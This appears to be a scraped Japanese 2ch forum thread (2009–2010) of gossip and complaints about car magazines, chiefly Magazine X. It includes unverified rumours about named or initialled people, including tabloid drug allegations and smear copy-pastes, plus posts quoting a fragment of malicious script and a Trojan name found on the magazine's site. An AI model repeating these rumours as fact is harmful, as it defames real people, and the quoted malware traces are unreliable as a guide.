そこで働くやつらはそれしかできないようなヤツらばかりだからな
応用の利かない人材の不良債権は抱えたくないんだよ
だから講談社は別会社にしている

そう考えると
リニューアル前のdriverはマシだったのかも

ダイハツ総合スレ Part7
http://namidame.2ch.net/test/read.cgi/kcar/1174755277/l50

【CG】 カーグラフィック　第11版 【NAVI】
http://namidame.2ch.net/test/read.cgi/car/1235627578/

>>524
369 ：匿名希望さん ：2009/07/16(木) 18:45:35
今日三栄の社長が来たらしいじゃないか
とうとう処刑宣告か？ww

370 ：匿名希望さん ：2009/07/16(木) 22:51:37
帰ったら毎度の悪口三昧
三栄から恵んでもらった仕事で
生き伸びているだけのくせにｗ

けっきょく生き残るのは、どの雑誌？

旧・�且O推社の人らはリストラされる前に退社しては如何だろう？
前スレで、この世界は狭いという内容の書き込みがあったような…

夫馬はどっかに就職活動しろ

どうせ採っていただけないだろうし、
採ってもらえても時給450円とかで
見習い期間は200円で、入社諸費用として200,000円と徴収されて
その他なんだかんだ控除で毎月の手取りが20,000円にも満たないとか？
俺の人生はもう破綻してしまっているので、このまま、寿命尽き果てるのを静かに待つのみかと

だからと言って働かない訳ではないんですね。
社員食堂とかの調理補助ですとか
（もっとも社員食堂そのものが減ってきつつあるらしい）、
使用人として慎ましく生きていこうって思っています。
いわゆるネクタイにスーツ姿で仕事するような職業は好きではありません。
若い頃、トラックドライバーとして生きていこうって思っていましたけれど
(実際に「カミオン」という雑誌にイラストを投稿して、載せていただいた事もありますです）　
生保の掛け金って言うんですか、あれを調べてましたけれど
大手（の運送業者）さんに採っていただいた場合であっても自分的にはリスキーかなと。
要するに、この時点で、家庭を持つというのを諦めていた訳です。　　　　　　　　
当時、既に体調が宜しくありませんで、
とにかくスタミナに自信がなかったものですから、プロドライバーについては諦めました。

トヨタ自動車：企業情報 > 事業所・関連施設 > グループ・サプライヤー
ttp://www2.toyota.co.jp/jp/facilities/affiliates/

トヨタグループ／サプライヤー　[PDF]
ttp://www2.toyota.co.jp/jp/about_toyota/gaikyo/pdf2009/toyota_group.pdf

　　　　 　 　 __,,,,,,,,,,,,__
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　　　| （ 　　 　 ノヽ--/￣ ,　　　 ｀￣￣￣￣
　　　ヽ,,　U　ﾐ }　　...|　 /! 　　日本国民　
　　　 　 | 　　 _}｀ー‐し'ゝL _
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　 　 ／＼ヽ　 ノ｀ヾ:::-‐'ーｒ‐'"＝＝-
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　　　　~''(_)(_)(_)(_)ソ　／　奥　／ヽノ　　　,イ^
　 　　ヽ/｀､＿, ｨ/　／　田　／　　 ヽ─/￣
　　　／ 　　　　/／　碵　／　　　　　) /

出版不況と言われているみたいだけれど、情報伝達の手段の変遷、
紙の雑誌からインターネット情報記事へと移行する過度期なのかね。
とりわけ
車文化が衰退していったという事はないとは思うけれど。

買ってまで読みたい記事がなかなか…。

>>547
過渡期どころかネットもダメじゃん。

ネット情報は薄っぺらいか、紙媒体からのパクリか、どっちかだからな。

速報性が受けているのさ、新聞社サイトでは物足りないとなると、メーカー各社の特設サイトにアクセスが集中する。
webCGの場合は、そこを慮って、ヴィジュアルにこだわっているのか「カースコープ」など写真技術で価値を見出そうとしている感じでしょ？

速報性とか内容を鑑みて、総合的に
一番良い自動車サイトってどこですか？

十人十色でしょう？　個人的には車メーカー特設サイトで十分だと思いますけど

　>とりわけ、石川県と福井県は私たちをマスコミ扱いしない有様です。
　さらには富山県も連係しているフシがあります。
　国からの圧力に弱い福島県さんとあわせ、
非協力的な態度に対して、この場で遺憾である旨をお伝えしておきます。
　納税者の代表としての役割を果たせず残念です。
↑
税金過少申告してたのがバレタくせに
マガジンXブログじゃ聖人きどりw

カービューのSNSとかに読者が流れたという話ってガセですかね？
SNSというのは中高年向きと言えるのかどうか

誰も読んでないのに夜中まで仕事やらせている〜ん　ばっかみたいw
世間に取り残されて馬鹿社長も世の中がわかっていないのかな？
世間に鈍いから
magXも売れないんだろうけどさ

大手書店の関係者が、ここを観ているという可能性って御座います?

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名古屋のポルシェ雑誌「９１１マガジン」が廃刊

>>554
よくこんな嘘っぱち書けるなｗ

SCOOP!!「公明党太田代表つぶし　民主党 フジテレビ安田美智代記者を擁立へ」
明日(7月24日)14時に、東京都北区で、衆議院東京12区の公認候補
--すなわち公明党・大田代表の対抗馬--が発表される見通し。
消息筋は「小沢一郎代表のお国替が見送られ、急遽、候補の選定となりました。
以前から、水面下で交渉していたフジテレビの記者に内定しています」という。
白羽の矢が当たったのは、フジテレビ安田美智代記者。NY特派員の経験がある才媛。
安田記者が所属するフジテレビは「そのようなはなしは一切きいておりません」(広報部)
としている。

ＨＥＮＴＡＩ国家日本変態ジャパンｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!

和を意識した着物なのに丈は臍下、ピンクのパンツ・ガーター丸見えの風俗嬢ファッション。
日本女性変態説を裏付けるような服装でミス･ユニバースの世界大会に出場しようとしてます。
http://s01.megalodon.jp/2009-0730-0004-33/img.47news.jp/PN/200907/PN2009072201000854.-.-.CI0003.jpg
http://www.jiji.com/news/handmade/topic/003event/uni001-090722-02.jpg
http://s03.megalodon.jp/2009-0730-0005-33/image.blog.livedoor.jp/yoshiyuki_tokyo/imgs/c/c/cc00f856.jpg

【文化】 「ミス・ユニバース日本代表、まるでポルノ女優」 日本・海外で非難殺到…イネス氏ら「流行遅れが批判」「パンツじゃない」★13
http://tsushima.2ch.net/test/read.cgi/newsplus/1248875968/
【阻止】ミス･ユニバース日本代表下半身露出で出場5
http://hideyoshi.2ch.net/test/read.cgi/ms/1248876772/
今年のミス・ユニバースって既女的にどう？
http://hideyoshi.2ch.net/test/read.cgi/ms/1248442805/
【阻止】ミス･ユニバース日本代表下半身露出で出場4
http://s01.megalodon.jp/2009-0729-2332-49/hideyoshi.2ch.net/test/read.cgi/ms/1248771499/

>>555
中高年結構いるよ
パソコン持ってる人多いし、ネットでの交流も盛ん
年輩になって車いじりにハマる人もいる
まぁあれだ、年取ると昔からの友達付き合いも減るから、ネットで同じ趣味を持つ友人を作る場として使う人が多いようだ
モバゲやミクシなんかよりそっち行くだろ

げんろくやロッソがまだあることに驚いた

>>554
ここの編集長
「サイゾー」って雑誌で
三栄書房の名前を出して
自動車メーカーがクルマ雑誌に広告を出すのが悪いみたいな
偽善者コメントしてたな

>>555
そのカービューも2ch検索してみるといろいろと…

質問です。教えてください。

1.フェラーリF40を箱根の崖から突き落とした評論家は？

2.目隠し乗り心地テストで、タイヤを交換していないのに
　交換したと言ったら、劇的に変わったと言った評論家は？

>>556
479 ：名無しさん＠そうだドライブへ行こう ：2009/08/02(日) 18:58:46 ID:b9B74QjX0
今月号まともなスクープあった？
なんかどうでもいい内容ばかりなんだが
そろそろベストカー２に認定してもいいですか？

とりあえず車関係の単発ムックしか出せないような無能揃いの会社は潰れるべきだな

>>568
「ベストカー２軍」で充分な素人レベルww

ダイハツ・ソニカを他社にOEMとの誤報、実は生産終了だろ。
生産終了とOEMと正反対じゃないか
マガジンX

先月のMAG-Xでも
中国メーカーのコピー車を
デミオのスクープとでっち上げ。
ふだん新聞も読んでない椰子が、作っているんだろう。

マガジンXを批判するのはかまわないけど、
その使い古されたネタで延々と叩くのは何とかならんのか？
廃刊するする詐欺もいい加減聞き飽きた。
もっと鮮度の高い叩きネタ持って来いよｗ

スクープってのは時々外れるからいいんだよ

絶対当たるスクープのほうがおかしい

三栄書房に恨みがある人がいるのは理解できた。
Ｋカースペシャルとか先月まで学研だったのに、今月は何事もなかったかのように三栄になってるし。

＜道交法違反＞ １３２台で「ドリフト走行」　男女１９人逮捕
8月3日12時3分配信 毎日新聞
高速での方向転換を繰り返す危険な「ドリフト走行」を集団で行ったとして
警視庁交通執行課は３日、東京都足立区佐野２、会社員、岡島哲也容疑者（４０）ら
男女１９人を道交法（共同危険行為等の禁止）違反の疑いで逮捕したと発表した。
同課によると、岡島容疑者は首都圏で活動するドリフト族グループ「フラッグ」のリーダーで
「ドリフト族の大御所」と呼ばれており
「逮捕されてもまたドリフト走行する」と供述しているという。
逮捕容疑は５月３日午前１時４０分ごろ、大田区東海の大井ふ頭の都道を０．５キロドリフト走行した疑い。
交通執行課によると岡島容疑者がブログで参加を呼び掛け、
当日は乗用車など１３２台、大学生や高校生などを含む２０７人が集まった。

スズキ、ダイハツ合併してトヨタグループに
ttp://namidame.2ch.net/test/read.cgi/kcar/1249300141/

>>574
【社会】「おれが一声かければ、600人ぐらいは集まる」「いくら捕まっても公道でまた走る」…逮捕されたドリフト族の大御所(40)★４
http://tsushima.2ch.net/test/read.cgi/newsplus/1249311213/

吉田由美のすべて その3
ttp://namidame.2ch.net/test/read.cgi/car/1242299477/

芸能界＝薬漬け
酒井法子夫婦
お塩夫妻
グラビアアイドル

「しがらみがない」とか
偽善者ぶっている雑誌にかぎって
実態は
特定の所と癒着した偏った記事で
読者から見捨てられている

「ベストカー」を引き受ける出版社は？
ttp://love6.2ch.net/test/read.cgi/zassi/1247177716/l50

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イラスト集をフリーペーパーとして制作します。制作者への報酬に
ついて教えてください。

クイエイターを紹介業をしてるんですがイラスト集のフリーペーパーを制作
して法人向けに撒きたいと思っています。
全ページフルカラーで表紙やロゴはオジナルデザイン、サムネイル
付きのもくじも入れます。
また作家一人あたり2ページで、Excelによるプロフィール+作品
画像は作家あたり5点で22人程度収録と考えています。
読み物のページ+3ページくらいの漫画も入れたいと思っています。

印刷コストを無くしたいのでPdfで納品。サイズはA4。
ライテングはもちろん、掲載作家の募集、ヒアリング取材、
ディレクション、レイアウト、デザイン、漫画制作、編集、
配信まで、すべての業務を委託したいのですが、費用は
どのくらいかかりますか？

業者に見積もりを出させたら総費用140万円以上と言われました。
ぼったくりに感じますので、相場について教えてください。

もう少し詳しく聞かんとわからんが、
その程度の内容であれば80万ぐらい。

おいおい。どんな画像を作らせるつもりか知らないが、ギャラだけで５０万はくだらないだろうよ。

人気モデルがバリで悩殺水着「素の私見て」
http://www.sponichi.co.jp/entertainment/news/2009/08/15/13.html

自分を神だと言う奴には低級な動物霊が憑いてると、美輪さんの本にあった

勝間(=中村和代)のブログに書いてありましたが、
彼女は性格判断ツールであるエニアグラムをやってみたそうで、
結果はタイプ３だったそうです。
ちなみにタイプ３の悪いところについて、
エニアグラムでは下のように書かれていました。
勝間さんに当てはまるのかな？（コピペ推奨）

あなたはご都合主義となり、他者を成功の為の飛び石としたり、
道具のように扱ったりすることがあります。地位や名声を気にかけるがゆえ
、実際より自分をよく見せようとします。成功できないことや、
成功しているように見られないことを極端に恐れます。
自分より優秀な人と自分を比較するのを嫌がります。
自分を周囲に印象付けようと、うわべを誇張します。

以上（コピペあちこち貼ってね）。

使えない女上司が幅利かせてるw

集英社、私的飲食を「取材費」と称し５億円所得隠し…国税指摘
（2009年8月21日03時08分 読売新聞）
ttp://www.yomiuri.co.jp/national/news/20090821-OYT1T00096.htm

テレビ･新聞は死ぬのか!? 100億円単位で広告削減の大スポンサー 今やネットの広告収入はラジオ･雑誌を抜き新聞に届く勢い
http://yutori7.2ch.net/test/read.cgi/mnewsplus/1250770343/

俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧＿∧ 　 ∧＿∧ 　　　age
　（・∀・∩）（∩・∀・）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

>>579
詐欺師はいつの時代も
善　人　面　し　て　近　づ　い　て　く　る　も　ん　だ　

http://love6.2ch.net/test/read.cgi/zassi/1231000339/l50
マスコミ界のタブー
http://society6.2ch.net/test/read.cgi/mass/1195613696/
マスコミは集団ストーカーをやっている。 その8
http://society6.2ch.net/test/read.cgi/mass/1240763120/
メディアが隠す世界のタブー14
http://anchorage.2ch.net/test/read.cgi/occult/1250850946/

>>556
765 ：名無しさん＠そうだドライブへ行こう ：2009/08/26(水) 18:47:08 ID:ay4uisJJO
モーターショーの記事がらみでバイクの騒音規制の話が完全に間違って書いてあった。
そもそもバイクの話はいらんだろうし、
ネットで調べりゃ直ぐ分かるようなことを間違えるなよw

トヨタ 高岡工場の第２ラインを10年春から一時休止　
ttp://www.bloomberg.co.jp/apps/news?pid=90003017&sid=aoOFODrCjz6s&refer=jp_news_index

経済とか技術の話は固めの雑誌のほうがほるかに深い。
車雑誌なんかやっている椰子は馬鹿ばっかなんだからさw
車以外の話題なんかやっても
読むに堪えない低レベルw

さらにチューンナップ系やカタログ系しか出せない辰巳の様な糞会社もあり
レベルが低すぎるよな。別に本や雑誌が好きでこの業界に入ったんじゃなくて
ただ車輪系が好きで入りましたって馬鹿が多くて、他の事で使い物にならない

バカの溜まり場ｗのくせに
選挙予測みたいなことをやって
毎号間違いや校正ミスのオンパレードｗｗ

今岡今季限りで引退、打撃低迷で決意
ttp://www.nikkansports.com/baseball/news/p-bb-tp0-20090901-538069.html

>>598
819 ：名無しさん＠そうだドライブへ行こう ：2009/09/01(火) 14:14:35 ID:zsRZvG8B0
誰か止めろよ…腹痛くて死にそうだ。
ttp://www.mag-x.com/blog/2009/09/post_862.html

編プロ風情ごときどうでもいい

自分が常に座っている半径1m程度としかコミュニケーションが取れない辰巳の馬鹿編集長

雑誌編集なんて職歴は負の財産にしかならん。将来につながらないからね。

スクープと銘打って、
実はメーカーから話題作りで頼まれた偽スクープ企画ばかりやっている

販売店向けの資料の流出は、ディーラーマンの小遣い稼ぎだろ。
まぁ、それをスクープって言われてもなぁ・・

その小銭稼ぎで会社から訴えられて、逮捕されたのもいたらしいから
関わらないほうが、身のため
スクープ雑誌は、知らん顔

欠陥自家用車はまだあるのかね

値引きしか能が無い雑誌は潰れて欲しい。
あれ読んでると人間ってここまで汚くなれるんだって暗い気持ちになるよ。

そこの出しているオートメカニックは
オカルトパーツの提灯記事ばっかりのクズ本に成り下がったな

>>607
真ん中の黄色いページで値引きをやっている
ハゲオヤジの写真がどんどんデカクなっていくなぁ〜

>>606
８月号で自民党の酔っ払い中川（落選w）のインタビューを
デカデカと載せていたくせに、
民主党が勝つと必死の提灯で
権力にごますりw
よそのHPからネタぱくり
1日にブログを何十回も更新してないで、
自分で取材に行けよｗ

　　　　　　　　〜∞
　　 　／⌒⌒￣￣￣＼　〜∞
　　／　　　　　　　　　　 ＼　　　〜〜〜〜〜
　　|　　　　　＿___丿ﾉﾉ.＿_|　　つ〜ん
　　|　　　 ／Ｕ　 .＿）　 .＿）　　　　ﾌﾟｩ〜ん
　　|　　　| 　 　　　　　 　 （　　　　〜〜〜
　　|　ノ（６ 　 ∵　（　。。） ）　　＿＿＿＿＿＿＿
　　 ○　　　　Ｕ　 　　) ３ .ﾉ　 /　＿＿＿＿＿＿__
／ ○＼ ヽ ,,_　 Ｕ　 ___,,ノ　　/　/
　　○ 　＼,,＿__＿＿_,ノ ＼/　/　　＿＿＿＿＿
　[>口<]　 　　　　　　　 　./　/　　/|
..　 （.）　　　　　　　　　　./　/　　./ .|

913 ：名無しさん＠そうだドライブへ行こう ：2009/09/27(日) 20:05:48 ID:g2hgRJI80
スズキにとってJatcoはもうアイシンAWと競合させるサプライヤーじゃないよ。
マガジンXの記者はスズキがJatcoに資本参加したのをそもそも知っているのだろうか。

カー＆ドライバー、合併号を発売してるな。

ドライバーも年内に月刊化か休刊
月２はベストカーだけになる

モーターショー特集をやっても
実売部数を増やせないなら
さっさと廃刊したほうが
赤字を増やさなくて済む

ベストカー以外要らない
特に値引きしか脳が無い乞食専用糞誌
日本経済に一利も無し

「欠陥自家用車｣

ベストカーも低脳の極みみたいな雑誌じゃんｗ
こいつこそ一利もねーよ

週刊大衆　　　１０／１２号 ｢アイドルＫが白い粉を･･･｣

また、Ａ子さんが証言するクスリに手を染めるもうひとりは、超有名なファッションモデル・Ｍだという。
彼女は外国語も話せる国際派で、複数の女優とも交流がある。
Ａ子さんがＫ同様にＭを許せないのが、クスリに手を染める連中が出入りする危ない場所に、
何も知らない芸能人を次々連れて行くからだという。

Ｍの��転落�≠ﾌ始まりは、都心に飲食店を持ち、ゴルフ場も経営する実業家の長男と、
男女関係になったことが大きかったとされる。
｢その御曹司は以前からクスリ使用の噂が絶えない、いわくつきの人物でした。
主に彼は自宅でクスリをやっているそうで、仲間内では彼の自宅のことを��シャブ部屋�≠ﾆ呼んでいました。
もちろん、Ｍも頻繁に彼の自宅に出入りしていたようです。噂では、彼は押尾被告とも面識があるそうですよ｣(Ａ子さん)

この御曹司は東京・下北沢駅近くに住んでいるが、そのすぐ近くに、Ｍは高級マンションの一室をあてがわれているとされる。
｢Ｍが彼にハマっていったのは、家をタダで借りてもらっている他に、彼に女優たちを紹介することで
��高額の紹介料�≠�受け取っていたからなんですよ……｣(Ａ子さん)

Ａ子さんの証言によれば、Ｍの紹介で、すでにこの御曹司とトップ級の女優ＴやＳが食事をしている。
また、この２人のほかにシャブ部屋に招かれた美人タレントも多数いるという。
ちなみに、ＴとＳは映画で主役級を努めている。

(酒井)アイドルＫとモデルと俳優が白い粉を(押尾)
http://hideyoshi.2ch.net/test/read.cgi/ms/1254161662/

Domain fc2.com Netblock owner FC2 Incorporation
IP address 66.160.206.181

Domain fc2.com Netblock owner FC2 Incorporation
IP address 66.160.206.201

619と620ってきちがい？

4輪雑誌も2輪と同じ末路

夏の陣でできた本は売れているの？

年間購読してる奴気をつけろよ。
倒産して突然送ってこなくなるぞ。
年間契約はやめておけ。

マルチすんな

って言っても、今の状況だと何処も危ないのかなあ…

雑誌社どころか自動車メーカーがやばい時代だからね

次に逝きそうなのはどこ？

各社モーターショーの記事がペラペラですｗｗｗ
金出して買う価値ありません。

それでも
ワンパターンなモーターショー特集やるしか
能が無い連中ｗ

まあ、それが仕事だから。
それにしても悲惨だな。
雑誌なんてさらに売れないんだろうな。
あんなモーターショー行きたくないもん。

仕事がらみで幕張行ったけど
金払ってまでいく価値ないなぁ

コンパニオンより亀コのほうが多かった

モーターショー終わったｗ

城島阪神入り決定「阪神のために力出す」
ttp://www.nikkansports.com/baseball/news/f-bb-tp0-20091027-560020.html

カーアンドレジャーって業界新聞が求人出してるけど
ここってどうなん？
いい噂も悪い噂も聞こえてこないんだが・・・

これで来年は阪神の優勝やね

fenek(フェネック) 講談社 アウトドア･釣り 休刊につき取扱い中止
(11/10売_12月号限り休刊)

>>635
モーターショーで無料で配ってたな。
「日刊自動車新聞」同様、ディーラーとかで購読している例も多い。
こっちは週刊だけど。
広告記事をメインにした新聞で、批判的なものは書かないから堅実といえば堅実。
経営的には優良といえるんじゃないの？
一般読者が読むにはイマイチ。

モータースポーツ系の雑誌はどうなるの？

ミジメ杉ｗ

　2009年11月05日 JR7社「高速道路無料化反対」の自己チュー
>リニア新幹線を自前で作れるなら、いまの料金を下げるべきだし、
JR西日本のように人を殺しても反省の色がない兄弟もいる。
　http://www.mag-x.com/blog/2009/11/jr7.html

雑誌の公式ブログで、こんなこと書いて許されるのか？

496 ：匿名希望さん：2009/11/12(木) 15:33:41
編集部名義でも神領さんの文章はすぐにわかりますね。
ムダに長いが何言いたいのかさっぱりわからないという点で。

　↓　皆さん、コピペで広めましょう。
ボクサーの血と汗のファイトマネーをこんな形で奪う奴が許せません。
ttp://love6.2ch.net/test/read.cgi/zassi/1258163276
【詐欺まがい注意】千代泰之の一拳一会【悪質】

ダイハツ、脱中国を加速　インドネシア・マレーシアで攻勢
ttp://www.business-i.jp/news/sou-page/news/200911160027a.nwc

http://love6.2ch.net/test/read.cgi/zassi/1257670852/l50

>>642
だからアリガと手つないだデート激写されるんだよ
自分がスクープっていう出来た話だけど
またやられるから気をつけな

誰もわからない
今売りの東京カレンダー
広末表紙の車
わかる人いないかな
180ﾍﾟｰｼﾞぐらい
みてもわからん

高速無料化　東名と名神はやめたわ　無料化の試行区間から除外
http://tsushima.2ch.net/test/read.cgi/news/1258583266/

来年の来年の東京サロン
モーターショーよりも出展社の取りやめが多いらしいｗ

広州モーターショーのネタはとっくに配信されているからもういいや

自動車ってわざわざ雑誌読まなくてもネットで十分じゃね？

まったく。
それをわざわざ月遅れの号で
素人写真をべたべた並べただけの本を作っても
買う人いないってｗ

カルト統一キタ━━━━━━（゜∀゜）━━━━━━　！！！！
社説でキタ━━━━━━（゜∀゜）━━━━━━　！！！！
●世界日報　社説●
ネットカフェ規制／本人確認の義務化を急げ　　2009年11月23日
http://www.worldtimes.co.jp/syasetu/sh091123.htm
http://s01.megalodon.jp/2009-1125-0000-10/www.worldtimes.co.jp/syasetu/sh091123.htm


・このままだと来年には日本中のネットカフェが会員制になってしまいます(来年にも条例案を東京都議会に提出する)
・利用者がどの端末（パソコン）を利用したのかといった、『パソコン使用記録』を 一定期間保有しておくことも必要だとしております。
★会員制にしなかったり利用者がどのパソコンを利用したか記録しなかった店は営業停止などになります★

権力者や日本政府が国民に知らせる情報は０．１パーセント以下です。
前田雅英・首都大学東京教授、警察、会員制ネットカフェが日本中のネットカフェ（まんが喫茶）を会員制にしようとしています。
前田雅英、警察、日本複合カフェ協会は日本人の言論の自由を潰す売国奴です。
日本が超監視国家になり警察による犯罪がはびこるのではないでしょうか。
権力者に都合の悪い情報はいっさい出なくなるでしょう。

日本の全部のネットカフェを会員制にしようとしてる奴ら
↓
会員制ネットカフェ、カルト統一教会、前田雅英・首都大学東京教授、警察、読売新聞、産経新聞
↑
不買運動よろしくお願いします

ネットカフェ規制に反対するスレ
http://pc11.2ch.net/test/read.cgi/netspot/1256060489/
http://s04.megalodon.jp/2009-1125-0203-32/pc11.2ch.net/test/read.cgi/netspot/1256060489/

ウンコして寝る

>>606

蓮舫

フェラーリの次はポルシェパナメーラ買うど

乗りもしていない車を偉そうに評論する雑誌

内外タイムス社が自己破産を申請
http://www.nikkansports.com/general/news/f-gn-tp2-20091130-571275.html

内外出版社って同じ会社ですか？

いよいよ三菱も買われちまうのか

ダイムラーとの件はお忘れで？

自動車雑誌総合
http://love6.2ch.net/test/read.cgi/zassi/1007200492/610

610 ：匿名希望さん：2008/03/12(水) 23:36:16
>>夫馬

おまえは自動車雑誌のからくりが全然見えていないようだな。

読者の皆様がお買い上げいただいている売上なんて紙と印刷代が賄えるかどうか程度なんだよ。
雑誌っていうのはね。

僕たち出版社の人間や評論家なんかが一般企業勤めよりは良い暮らしむきが実現出来ているのは広告
クライアント様つまりはトヨタ様のおかげなのだよ。

俺たちの厚待遇を支えてくださっている企業様の悪口を書くことこそが人でなしじゃないのかい？

おまえは飯をおごってもらった人の悪口言うようなろくでなしなわけですか？

ジャーナリズムなんて大義名分ほざいてるけど、出版社は企業体なんですよ。
株式会社なんだから、資本家に対して利益を上げる必要があるわけ。
わかります？俺のいってること

釣りにしちゃ、長くて冗漫だこと。

クルマに興味も無い関西人が編集長にしがみついている雑誌よりマトモだろ。

デコトラ本オモロー

乗りもしていない車を偉そうに評論する雑誌ってどこですか？

http://www.sanspo.com/baseball/news/091209/bsb0912091437011-n1.htm

次ぎ逝くのどこ？？
年越せない所あるだろ。

スレ的には内害が一番人気だけど

１内外-２ネコ-３三栄
鉄板の３連複

八重洲は？

内害は今時、自家用車wやオートメカニックwwだのの、お荷物と反社会的なブラックバス釣の雑誌など不良債権ばかりやw

上位三強は一年前から不変

ＭＭは？

実際問題、ベストカーの会社も危ないだろ？
二つしかない編集のうち、フェネックは月刊から季刊
事実上の休刊状態。ベストカーだけで会社を支えてる。
それだけじゃなく、親会社に金を上納しなくちゃいけないし
相当苦しそうだ。

所詮編プロｗ

Ｃ&Ｄ　はどうなの月刊化って・・

年契取れる雑誌はないだろうな
３月でみんな終了

『ドライバー』も、そろそろ月刊にするんじゃない？売れてないもん

売れる売れないじゃなくて、広告が取れるかどうかだからなあ、雑誌は。
そういう意味では業界の元気がない自動車雑誌はどこも廃刊どころか
倒産の危機だよねｗ
ほとんどが自動車専門出版社だから。

５０過ぎの編集長には引導渡せ

編集長兼社長の都合の悪いネタは一切触れない
http://love6.2ch.net/test/read.cgi/zassi/1231000339/l50

別冊マガジンXビジネス７８０円は高すぎ　詐欺価格

【野球】巨人･長野はプロで実績ゼロなのに何様？熟女好きでTV局のコネ使い下平アナに接近　大学時代からタニマチがいてキャバクラ遊び★2
http://yutori7.2ch.net/test/read.cgi/mnewsplus/1261202818/

ﾔﾝｸﾞｵｰﾄ最高ﾜﾛﾀ

読者の方がはるかに知識も良識も上だなww
　　　　　　　　　↓
126 ：名無しさん＠そうだドライブへ行こう：2009/12/28(月) 06:14:10 ID:cDbxNpMB0
Mag-X記者はちゃんと取材しているのか。
新スイフトに副変速機付CVTを搭載しないと書いていたが、スズキがJatcoに出資が決まった時には、
現スイフトにアイシンAW製CVTの搭載が決まっていただけで、それ以降発売の車にアイシンAW製CVT&ATは搭載はしてないけど。
モーターショーでアイシンAWの説明員に聞いたら、継続搭載は難しいと言っていたぞ。
新シビックのHVは、CR-ZのIMAをそのまま搭載だって、ユアサGSとの合弁工場のリチウム電池はホンダの社長が、
すぐ搭載する発言との整合性が取れないでしょう。

>>671-675
つまんねぇ会社ばかりだな。おまいら、年越せそうか？

718 名前:Classical名無しさん [sage] :09/12/29 06:39 ID:eKXVPKPo
【スレのURL】http://love6.2ch.net/test/read.cgi/zassi/1252991879/
【本文】↓
>761
それって私の知ってる人だったりして…。
私の知人が悩んでました。
付き合いをやめるよう勧めたら彼女の機嫌に障るようなことをすると有りもしない噂話を大きくして流すから怖いって。(ブログ読んでてもそういったキツイ性格が垣間見えますよね)
Floomのブログ見てても何か威圧的な感じがして怖さすら感じます。そんなブログを見て不快に感じる方もたくさんいるのではないのかな？
私ならそんな方に教えてもらいたくない。
人柄っていくらブログで着飾ってみせても解りますよね。

「NAVI」の休刊がとうとう決まったみたいで、寂しい限りです…。

NAVIってヤバい噂とかあったの？

個人的に全くの寝耳に水だったから驚いたよ。

10年くらい前に「煮源車が猫に買われる」という噂もあったしな

今じゃ猫もどうにかなりそうだけどｗ

いまさら広州モーターショーのムックが売れると思っているのかねｗ

2010年は何とかやりくりできると思う。
2011年は期待薄。

住宅ローンは解約したい。

>692
懐かしいなー
そのころ猫にいた
とにかくあのころは泡泡状態で

>>691
ヤバい噂は聞いたこと無いけどライターは全員外車厨で「何でお前ら日本に住んでるの？」とは感じたな。

外車が好きだと日本に住んではいけないというのも
なんとも頭の悪い話だな

>>687
６年前に精神病になってから読むのを止めていましたが
今号からまた読み出しました

【出版】車雑誌「NAVI」休刊へ [10/01/05]
http://anchorage.2ch.net/test/read.cgi/bizplus/1262697957/

>>696
国産車は外車（正確には欧州車）にまったく及ばない。
日本人には骨太な思想が無いから努力しても欧州人を超えられない。
日本のメーカーは基本が出来てないからIC制御でごまかしてる・・の
繰り返しだったからなあ。

結局、欧州車は日本以上のハイテク制御になっちゃったし
日本車は劣ると言い続けてきたせいで、この不況で外車が
売れなくなると行き場を失ってしまったんだろうな。

NAVIの休刊
日経、毎日、産経にも載ってたな

ENGINの方は、大丈夫なのか？

>687
　ウイルス撒き散らして
　しらばっくれてるとは
　犯罪意識もまったく無い
154 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 00:44:23 ID:EQ9ctg6w0
ウイルスソフトが「トロイの木馬だよ」って拒絶するんだけど、
何か仕込んでるってこと？

156 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 11:55:32 ID:kS3nQPGp0
検出されたウイルス（ワーム、スパイウエア）
Trojan-Downloader.JS.Agent.ewh
www.mag-x.com サーバの位置情報

157 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 18:02:32 ID:goP4rkjn0
>/*GNU GPL*/ try{window.onl
ブログのページ開くなよ。 感染するぞ。

158 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 22:02:57 ID:kI+PreKQ0
Acrobat使ってsiszyd32.exeと言うプログラムが侵入。
ftpのパスワード盗まれた様で、自分のHPが改ざんされていて、プロバイダーから
削除依頼が来ました。
HPの改ざんは公的機関のチェックに引っかかったそうです。

ウイルスまき散らして内心ビクビク

小心者の自称ＩＴフィクサーｗ

>>697
日本で買うと輸送費や仕様変更なんかで割高になるし、そもそも日本未導入の車種もある。
ハマーやムルシエラゴみたいに日本じゃ取り回し辛い車もあるし、
そこまで無理して日本で乗るくらいなら外国に移住しろって意味だろJK。

>>703
>2009年12月24日
サイバーX読者の皆様にうれしいお知らせです。

ウイルスばらまいて開き直りｗ

安室って駄目母の典型
なんなのこの女・・・・

安室は子供にコンビニとマックばかり食べさせていると報道
http://gimpo.2ch.net/test/read.cgi/musicnews/1253973642/
【出来婚】離婚とほぼ同時に三宅と付き合いだした安室【猿】
http://gimpo.2ch.net/test/read.cgi/musicnews/1251210646/
年末年始に子供を残して男と旅行の安室。2004年の紅白･･･
http://gimpo.2ch.net/test/read.cgi/musicnews/1262898213/

基本的にはコンビニで立ち読み、
driverのアルバム号や年末の国産新型車のすべてを買うくらいだな。
自家用車の投票結果号はアルバム号の使い回しの記事だし。

NAVIの次はどこ

ベストカーだかホリデーオートはFR厨ばっかりでﾜﾛﾀ
お前らアイスバーンで運転したこと無いだろｗｗｗ

>>703
月決めの有料サイトで
28日から半月以上もサイトを閉鎖して
２ちゃんで指摘されるまで
ウイルスばら撒きを隠蔽していたとは悪質だね
金を返す
有料会員がほとんどいないつーことか

＞28日から半月以上もサイトを閉鎖して
２ちゃんで指摘されるまでウイルスばら撒きを隠蔽

「自分たちに都合の話は隠す」体質は
ここのブログがダラダラと批判している
公務員や特殊法人と同じ体質

欠陥自家用車だろ　次

345 名前：匿名希望さん ：2010/01/15(金) 16:34:15
永年ご愛顧を頂いたジェイズ・ティーポが、
今回の号をもって紙媒体としての使命を終えることになった。

中国関係は10月末までの上海万博以降のバブル崩壊→富裕層国外脱出以降どうなってしまうかが恐ろしい。
自動車関係は今年も予断を許さないんだがな。

３月の年度末で廃刊したほうが賢明な経営判断

